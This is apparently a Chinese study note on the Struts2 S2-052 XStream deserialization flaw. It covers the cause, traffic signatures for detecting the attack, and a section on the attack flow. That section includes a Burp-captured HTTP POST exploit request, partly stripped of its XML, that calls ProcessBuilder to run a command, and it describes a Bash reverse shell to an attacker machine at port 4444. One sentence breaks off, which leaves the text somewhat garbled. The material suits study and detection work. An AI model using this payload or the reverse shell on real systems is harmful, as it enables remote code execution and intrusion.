+
struts2 s2-052
原理
在Struts2 S2-052漏洞中,攻击者可以通过修改HTTP请求的
数据类型为xml
,使得服务器使用
XStream库
来解析请求体。当XStream库解析XML数据时,会进行
反序列化操作。
如果XML数据包含恶意的
Java对象
,XStream库会在反序列化过程中执行这些对象的代码,导致任意代码执行或命令执行。产生漏洞的根本在于
XStream反序列化的不受信任输入。
流量特征
URL中会有
.action或.do等struts
相关后缀名。 Content-Type字段值存在可疑的
OGNL表达式。
请求包中存在
#memberAccess
等反序列化攻击的明显标志。 请求包中包含Struts2的一些特定关键字,
如method、redirect、println
等。 参数中可疑的OGNL表达式如
${}和%{},可
能表示命令执行意图。
攻击流程(ai)
漏洞利用:
复现攻击分为两部分
:
漏洞利用
1.
抓包与改包
:使用Burp Suite抓包并修改请求包,发送恶意XML数据包。
2.
Payload示例
: http
复制
POST /orders HTTP/1.1 Host: 192.168.0.23:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Referer: http://192.168.0.23:8080/orders/3/edit Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/xml Content-Length: 1673
0
false
0
/usr/bin/touch
/tmp/shell.txt
false
java.lang.ProcessBuilder
start
foo
foo
false
0
0
false
false
0
3.
执行命令
:
上述payload将在
2. 反弹Shell(更高级的攻击)
修改Payload以执行反向Shell命令,连接回攻击者控制的机器。
需要对命令中的特殊字符(如
&
)进行编码。
示例Payload中的命令尝试通过Bash反弹Shell到监听的端口(如192.168.0.162:4444)。